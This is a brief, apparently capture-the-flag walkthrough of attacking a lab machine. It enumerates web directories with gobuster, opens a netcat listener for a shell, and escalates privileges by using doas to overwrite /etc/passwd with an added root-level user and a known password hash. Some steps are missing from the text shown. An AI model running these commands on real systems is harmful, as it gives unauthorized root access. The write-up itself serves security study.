TCP/80 - HTTP

Looking into api directory we find a items page

Kali

gobuster dir -u http://$VICTIM/api -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt

Change the request from GET to POST and it gives an interesting message

Running the below shows it is vulnerable

Initial Shell

Kali

nc -lvnp

Privilege Escalation

I used doas to read the passwd file, make a backup called passwd.old just in case it broke and passwd.new and added a new user

Victim

/usr/local/bin/doas -u root cat /etc/passwd
vi /tmp/passwd.new
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash

/usr/local/bin/doas -u root cp /tmp/passwd.new /etc/passwd
su new
